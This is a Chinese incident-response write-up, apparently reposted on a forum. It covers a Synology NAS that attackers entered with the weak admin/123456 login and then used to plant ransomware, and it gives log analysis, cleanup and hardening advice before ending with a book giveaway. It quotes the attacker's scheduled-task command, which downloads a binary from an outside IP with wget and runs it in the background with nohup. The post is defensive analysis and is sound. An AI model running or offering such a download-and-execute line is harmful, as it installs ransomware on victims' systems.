搜索

[22304] 2021-08-31_记一次群辉中勒索病毒后的应急响应【文末送书】

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-08-31_记一次群辉中勒索病毒后的应急响应【文末送书】 记 一 次 群 辉 中 勒 索 病 毒 后 的 应 急 响 应 【 文 末 送 书 】 L e m o n S e c   2 0 2 1 - 0 8 - 3 1 群 晖 是 一 种 N A S （ 网 络 附 属 存 储 ） 系 统 ， 在 生 活 中 主 要 扮 演 个 人 私 有 云 角 色 ， 可 以 将 文 件 存 储 于   N A S ， 并 通 过 网 页 浏 览 器 或 手 机 应 用 程 序 可 实 现 存 储 和 共 享 ， 同 时 还 提 供 的 丰 富 应 用 以 方 便 管 理 应 用 。 借 助 群 晖 提 供 的   Q u i c k C o n n e c t 快 连 服 务 ， 无 需 随 身 携 带 存 储 设 备 ， 即 可 以 随 时 随 地 访 问 N A S 。 因 为 这 些 优 点 ， 群 晖 往 往 被 当 做 是 N A S 的 首 选 。 但 偏 偏 这 次 被 上 勒 索 病 毒 了 ， 通 过 资 料 查 询 发 现 该 病 毒 早 在 2 0 1 9 年 安 全 专 家 就 已 经 分 析 过 并 已 提 供 预 警 信 息 ， 一 旦 感 染 ， 其 中 的 文 件 都 会 被 加 密 ， 并 通 过 留 下 的 文 件 索 要 比 特 币 。 经 过 初 步 判 断 是 通 过 w e b 界 面 的 弱 口 令 进 去 的 ， 之 后 创 建 了 一 个 定 时 任 务 从 美 国 某 个 I P 下 载 文 件 来 执 行 命 令 ， 并 通 过 勒 索 病 毒 对 文 件 进 行 了 加 密 且 暂 时 未 发 现 该 病 毒 有 横 向 行 动 。 本 文 主 要 记 录 群 晖 中 勒 索 病 毒 后 的 应 急 响 应 过 程 。 一 、 攻 击 流 程 一 、 攻 击 流 程 （ 一 ） 获 取 攻 击 目 标 （ 一 ） 获 取 攻 击 目 标 目 标 地 址 为 ， 根 据 资 料 查 询 群 晖 的 默 认 端 口 就 是 5 0 0 0 和 5 0 0 1 ， 那 么 黑 客 应 该 是 有 针 对 性 地 通 过 批 量 扫 描 对 公 网 上 的 I P 地 址 的 5 0 0 0 以 及 5 0 0 1 端 口 进 行 检 测 ， 如 果 扫 描 到 为 群 晖 系 统 ， 那 么 就 记 录 下 来 保 存 结 果 （ 二 ） 实 施 弱 口 令 爆 破 （ 二 ） 实 施 弱 口 令 爆 破 通 过 工 具 对 目 标 站 点 的 默 认 管 理 账 号 a d m i n 进 行 爆 破 ， 通 过 a d m i n / 1 2 3 4 5 6 爆 破 进 入 群 晖 N A S 系 统 ， 并 且 黑 客 采 取 了 动 态 h t t p : / / x . x . x . x : 5 0 0 0
切 换 代 理 I P 的 方 式 来 提 升 我 们 的 溯 源 难 度 。 （ 三 ） 植 入 勒 索 病 毒 （ 三 ） 植 入 勒 索 病 毒 以 a d m i n 登 录 后 便 植 入 了 勒 索 病 毒 ， 加 密 硬 盘 数 据 （ 文 件 类 型 为 e n c r y p t ） 并 留 下 了 比 特 币 支 付 地 址 。 二 、 应 急 流 程 二 、 应 急 流 程 目 标 群 晖 系 统 版 本 的 D S M 为 6 . 2 . 3 - 2 5 4 2 6 ， C P U 为 I N T E L   C e l e r o n   J 3 4 5 5 ， 在 公 网 上 没 有 已 知 漏 洞 存 在 能 够 直 接 进 入 目 标 。 （ 一 ） 修 改 密 码 （ 一 ） 修 改 密 码 既 然 知 道 了 入 侵 源 头 ， 那 么 先 把 弱 口 令 修 改 掉 ， 防 止 黑 客 再 次 通 过 弱 口 令 登 录 ， 可 以 通 过 w e b 系 统 界 面 或 服 务 器 这 两 种 方 式 进 行 修 改 （ （ 1 ） 直 接 修 改 密 码 ） 直 接 修 改 密 码 将 密 码 修 改 为 强 口 令 ， 最 好 启 用 2 步 骤 验 证 来 提 高 安 全 性
（ （ 2 ） 在 服 务 器 中 修 改 ） 在 服 务 器 中 修 改 1 、 在 w e b 界 面 开 启 2 2 端 口 2 、 通 过 s s h 登 录 目 标 群 晖 的 a d m i n 账 户 （ a d m i n 为 群 晖 的 默 认 账 户 ） 3 、 输 入 以 下 命 令 ， 直 接 切 换 为 r o o t 权 限 4 、 输 入 以 下 命 令 ， 修 改 密 码 为 a d m i n 1 2 3 （ 二 ） 日 志 分 析 （ 二 ） 日 志 分 析 根 据 受 害 公 司 的 反 馈 ， 他 们 是 从 7 月 2 9 日 发 现 文 件 被 加 密 ， 而 到 了 8 月 3 日 才 寻 求 技 术 帮 助 ， 那 么 通 过 群 晖 自 带 的 日 志 中 s u d o   s u   - s y n o u s e r   - - s e t p w   a d m i n   a d m i n 1 2 3
心 可 以 发 现 在 7 月 2 8 日 晚 上 1 1 点 1 9 分 有 来 自 8 3 . 9 7 . 2 0 . 1 0 3 通 过 登 录 a d m i n 账 号 当 然 溯 源 这 个 I P 并 没 有 什 么 卵 用 ， 因 为 是 海 外 并 已 被 标 记 为 代 理 、 扫 描 地 址
通 过 日 志 查 询 还 发 现 攻 击 者 在 7 月 2 8 日 1 9 分 还 创 建 了 定 时 任 务 执 行 的 具 体 命 令 如 下 ， 主 要 功 能 是 进 入 / t m p 目 录 下 将 c r p _ l i n u x _ 3 8 6 文 件 下 载 下 来 并 赋 予 7 7 7 权 限 输 出 为 3 8 6 ， 通 过 n o h u b 永 久 执 行 3 8 6 程 序 且 不 输 出 任 何 信 息 到 终 端 在 微 步 上 查 询 9 8 . 1 4 4 . 5 6 . 4 7 ， 发 现 已 标 识 为 勒 索 程 序 ， 数 据 解 密 的 希 望 已 经 十 分 渺 茫 c d   / t m p   & &   w g e t   - - n o - c h e c k - c e r t i f i c a t e   - O   3 8 6   h t t p : / / 9 8 . 1 4 4 . 5 6 . 4 7 / 1 / c r p _ l i n u x _ 3 8 6 ; c h m o d   0 7 7 7   . / 3 8 6 ; n o h u b   . / 3 8 6   - - s y n o = t r u e   < / d e v / n u l l >   / d e v / n u l l   2 > & 1   &
（ 三 ） 病 毒 查 杀 （ 三 ） 病 毒 查 杀 首 先 先 将 t m p 目 录 下 的 3 8 6 文 件 删 除 （ 但 是 未 保 存 病 毒 原 件 ， 不 能 仔 细 分 析 该 病 毒 ， 比 较 可 惜 ） ， 之 后 主 要 通 过 群 晖 自 带 的 插 件 A n t i v i r u s   E s s e n t i a l 查 看 在 群 晖 中 是 否 留 有 病 毒 （ （ 1 ） 下 载 ） 下 载 A n t i v i r u s   E s s e n t i a l （ （ 2 ） 全 盘 扫 描 ） 全 盘 扫 描
（ （ 3 ） 隔 离 病 毒 ） 隔 离 病 毒 （ 四 ） 数 据 解 密 （ 四 ） 数 据 解 密 这 个 太 有 意 思 了 ， 在 第 一 天 访 谈 之 后 ， 老 板 去 找 了 淘 宝 上 的 店 家 破 解 ， 我 一 开 始 以 为 淘 宝 的 店 家 真 的 那 么 牛 ， 这 种 加 密 的 数 据 都 能 破 解 ， 后 来 访 问 了 暗 网 的 地 址 才 发 现 ， 淘 宝 店 家 直 接 出 钱 买 了 解 密 工 具 ， 直 接 净 赚 x x x x 元 。
复 制 一 个 加 密 文 件 通 过 下 载 的 解 密 程 序 尝 试 进 行 解 密 ， 最 后 成 功 解 密 。 解 密 过 程 如 下 ： 三 、 防 范 方 法 三 、 防 范 方 法 1 、 停 用 默 认 管 理 账 号 a d m i n ， 新 建 一 个 不 同 的 账 号 并 分 配 管 理 权 限 2 、 杜 绝 弱 口 令 ， 设 置 强 口 令 ， 可 参 考 等 保 要 求 中 的 长 度 八 位 以 上 ， 由 数 字 、 字 母 、 特 殊 字 符 构 成 3 、 修 改 默 认 登 录 端 口 ， 可 修 改 如 1 0 0 0 0 + 以 上 的 端 口 4 、 开 启 登 录 失 败 锁 定 ， 对 多 次 登 录 失 败 的 I P 进 行 锁 定 5 、 安 装 安 全 工 具 （ 安 全 顾 问 ） ， 定 期 更 新 补 丁 并 升 级 版 本 6 、 启 用 防 火 墙 ， 配 置 出 入 规 则 7 、 文 件 版 本 回 滚 ， 能 轻 松 将 文 件 还 原 至 感 染 前 的 状 态 ， 可 以 有 效 防 止 因 感 染 勒 索 病 毒 后 文 件 无 法 访 问 的 情 况 8 、 文 件 权 限 控 制 ， 在 分 享 文 件 时 设 置 访 问 密 码 、 有 效 期 等 ， 并 对 文 件 权 限 进 行 控 制 四 、 总 结 四 、 总 结 这 是 我 第 一 次 做 应 急 响 应 工 作 ， 可 能 无 论 是 对 群 辉 系 统 还 是 勒 索 病 毒 都 知 之 甚 少 ， 难 免 会 有 一 些 解 释 不 清 或 认 知 不 足 的 地 方 。 . d e c r y p t o r _ w i n d o w s _ x 8 6 . e x e   - s   C : t e s t 作 者 ： 特 m a c 0 x 0 1     转 自 ： F r e e B u f
今 日 赠 书 福 利 今 日 赠 书 福 利 一 ： 一 ： 黑 客 攻 防 从 入 门 到 精 通 （ 全 新 升 级 版 ） 黑 客 攻 防 从 入 门 到 精 通 （ 全 新 升 级 版 ）         《 黑 客 攻 防 从 入 门 到 精 通 （ 加 密 与 解 密 篇 ） 》 由 浅 入 深 、 图 文 并 茂 地 再 现 了 计 算 机 与 手 机 安 全 相 关 的 多 方 面 知 识 。 全 书 共 2 2   章 ， 分 别 为 社 会 工 程 学 、 计 算 机 与 网 络 反 黑 基 础 、 W i n d o w s 1 0 系 统 防 火 墙 与 W i n d o w s   D e f e n d e r 、   W i n d o w s   1 0 高 级 安 全 管 理 、 系 统 和 数 据 的 备 份 与 恢 复 、 计 算 机 与 网 络 控 制 命 令 、 扫 描 与 嗅 探 ： 确 定 目 标 与 探 索 网 络 资 源 、   木 马 防 范 技 术 、 病 毒 防 范 技 术 、 W i n d o w s   系 统 漏 洞 攻 防 技 术 、 计 算 机 后 门 技 术 、 程 序 的 加 密 与 解 密 技 术 、 局 域 网 安 全 防 范   技 术 、 计 算 机 远 程 控 制 技 术 、 W e b 站 点 安 全 防 范 技 术 、 清 理 恶 意 插 件 和 软 件 、 网 游 与 网 吧 安 全 防 范 技 术 、 网 络 账 号 防 黑 实 战 、   网 络 支 付 工 具 的 安 全 、 无 线 网 络 安 全 防 范 技 术 基 础 、 W i - F i   安 全 防 范 技 术 、 蓝 牙 安 全 防 范 技 术 。 本 书 语 言 简 洁 、 流 畅 ， 内 容 丰 富 全 面 ， 适 用 于 计 算 机 初 、 中 级 用 户 、 计 算 机 维 护 人 员 、 I T   从 业 人 员 及 对 黑 客 攻 防 与   网 络 安 全 维 护 感 兴 趣 的 计 算 机 中 级 用 户 ， 各 大 计 算 机 培 训 班 也 可 以 将 其 作 为 辅 导 用 书 。 二 ： 二 ： 深 入 浅 出 深 入 浅 出 T C P / I P 和 和 V P N         本 书 是 一 本 图 文 并 茂 的 网 络 技 术 书 籍 ， 旨 在 让 读 者 理 解 T C P / I P 的 基 本 知 识 和 原 理 ， 掌 握 T C P / I P 的 基 本 技 术 及 应 用 。 本 书 主 要 内 容 包 括 ： 第 1 章 为 T C P / I P   概 述 ； 第 2 章 具 体 讲 述 I P 协 议 ； 第 3 章 主 要 讲 解 路 由 协 议 ； 第 4 章 具 体 讲 述 T C P 协 议 ； 第 5 章 主 要 讲 解 U D P ； 第 6 章 主 要 讲 解 G R E ； 第 7 章 主 要 讲 解 I P S e c ； 第 8 章 主 要 讲 解 M P L S ； 第 9 章 主 要 讲 解 B G P ； 第 1 0 章 主 要 讲 解 M P - B G P 、 M P L S 、 L 3 V P N ； 第 1 0 章 主 要 讲 解 V X L A N ； 第 1 1 章 主 要 讲 解 S D N ； 第 1 2 章 主 要 讲 解 C l o u d V P N 与 S D - W A N ； 第 1 3 章 主 要 讲 解 应 用 场 景 及 组 网 ， 以 及 基 于 n a t i v e   I P （ I P 协 议 ） 、 V P N 、 S D N / S D - W A N   的 基 本 应 用 。 本 书 既 适 合 计 算 机 网 络 的 开 发 人 员 阅 读 ， 也 可 作 为 大 专 院 校 相 关 专 业 的 教 学 参 考 用 书 。 三 ： 三 ： 企 业 信 息 安 全 建 设 与 运 维 企 业 信 息 安 全 建 设 与 运 维 指 南 指 南         本 书 主 要 包 括 基 础 安 全 设 施 建 设 、 安 全 自 动 化 系 统 建 设 、 业 务 安 全 体 系 建 设 ３ 个 部 分 。 第 一 部 分 介 绍 当 进 入 一 个 安 全 建 设 空 白 或 基 本 为 零 的 企 业 时 ， 如 何 着 手 规 划 并 一 步 步 建 成 较 为 完 善 的 安 全 体 系 ； 第 二 部 分 主 要 介 绍 安 全 自 动 化 ， 帮 助 大 家 掌 握 开 源 的 二 次 开 发 思 路 ， 设 计 适 合 企 业 自 身 特 点 的 安 全 系 统 ； 第 三 部 分 介 绍 业 务 安 全 体 系 建 设 ， 包 括 互 联 网 黑 产 攻 击 手 法 、 风 控 系 统 建 设 方 案 和 业 务 安 全 风 险 防 控 体 系 建 设 实 践 。           为 了 感 谢 大 家 一 直 以 来 的 关 注 与 支 持 ， 会 有 为 了 感 谢 大 家 一 直 以 来 的 关 注 与 支 持 ， 会 有 三 三 本 本 书 籍 免 费 赠 送 书 籍 免 费 赠 送 ， 中 奖 者 可 以 从 上 ， 中 奖 者 可 以 从 上 述 书 籍 中 任 选 一 本 。 述 书 籍 中 任 选 一 本 。           规 则 如 下 ： 规 则 如 下 ：           1 .     本 文 末 点 本 文 末 点 ‘ 在 看 在 看 ’ ， 不 需 要 转 发 朋 友 圈 ， 点 个 ， 不 需 要 转 发 朋 友 圈 ， 点 个 ‘ 在 看 在 看 ’ 就 可 以 。 就 可 以 。           2 .   公 众 号 内 发 送 公 众 号 内 发 送 “ 抽 奖 抽 奖 ” 即 可 扫 描 参 与 抽 奖 ， 注 意 看 是 发 送 暗 号 即 可 扫 描 参 与 抽 奖 ， 注 意 看 是 发 送 暗 号 “ 抽 奖 抽 奖 ” 。 。           3 .   中 奖 者 不 满 足 条 件 中 奖 者 不 满 足 条 件 1 ， 视 为 放 弃 中 奖 资 格 。 ， 视 为 放 弃 中 奖 资 格 。           4 .   活 动 截 止 时 间 为 活 动 截 止 时 间 为 9 月 月 1 日 日   1 8 : 0 0 点 ， 到 时 候 还 要 中 奖 者 及 时 联 系 号 主 留 下 你 的 中 奖 点 ， 到 时 候 还 要 中 奖 者 及 时 联 系 号 主 留 下 你 的 中 奖 核 验 二 维 码 、 收 货 地 址 、 姓 名 、 手 机 号 以 及 想 要 的 书 籍 ， 好 给 您 发 送 书 籍 哦 ！ 核 验 二 维 码 、 收 货 地 址 、 姓 名 、 手 机 号 以 及 想 要 的 书 籍 ， 好 给 您 发 送 书 籍 哦 ！ 2 4 小 时 内 小 时 内 未 联 系 号 主 视 为 自 动 放 弃 ！ 骗 书 行 为 出 版 社 会 永 久 拉 黑 ！ 未 联 系 号 主 视 为 自 动 放 弃 ！ 骗 书 行 为 出 版 社 会 永 久 拉 黑 ！ 先 点 “ 再 看 再 看 ” ， 然 后 点 击 下 方 公 众 号 私 聊 发 送 “ 抽 奖 抽 奖 ”   即 可 马 上 扫 描 参 与 抽 奖
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理